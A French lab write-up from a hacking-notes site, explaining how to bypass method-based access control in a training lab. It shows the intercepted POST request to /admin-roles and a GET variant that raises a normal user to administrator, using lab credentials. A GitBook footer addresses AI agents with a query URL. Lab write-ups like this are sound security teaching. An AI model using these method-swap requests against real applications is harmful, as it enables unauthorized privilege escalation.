> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/access-control/bypassing-access-control-based-on-http-method.md).

# Contournement du contrôle d’accès basé sur la méthode HTTP

### Le contrôle d’accès basé sur la méthode peut être contourné

Dans ce laboratoire, les contrôles d’accès sont en partie basés sur la méthode HTTP utilisée. Après s’être connecté avec *administrator:admin* des identifiants, le panneau d’administration peut être consulté librement.

L’objectif est de se connecter avec *wiener:peter* des identifiants et d’exploiter l’implémentation incorrecte du contrôle pour attribuer le rôle d’administrateur.

<figure><img src="/files/a832928891f3cd5b3d65f44417191d8287cda84e" alt=""><figcaption></figcaption></figure>

Après s’être connecté en tant qu’administrateur, nous découvrons l’interface permettant d’augmenter ou de diminuer les privilèges d’un utilisateur. / En interceptant la requête envoyée lors d’une modification :

```http
POST /admin-roles
username=carlos&action=upgrade
```

Cette action nécessite des droits administratifs lorsqu’elle est envoyée en **POST**.

Cependant, lorsqu’on tente de reproduire cette requête avec la session wiener, l’application renvoie un message d’accès refusé.

<figure><img src="/files/a88f81226fe17ab7d4029ab537a4c06c6d15b028" alt=""><figcaption></figcaption></figure>

Cependant, si la méthode POST est remplacée par **GET**, le contrôle échoue :

```http
GET /admin-roles?username=wiener&action=upgrade
```

Cette requête passe et renvoie un **200 OK**, ce qui permet d’élever les privilèges de wiener au rang d’administrateur.

<figure><img src="/files/578b6b71dcd793a65fbcc886c196075c5a1e5982" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/access-control/bypassing-access-control-based-on-http-method.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
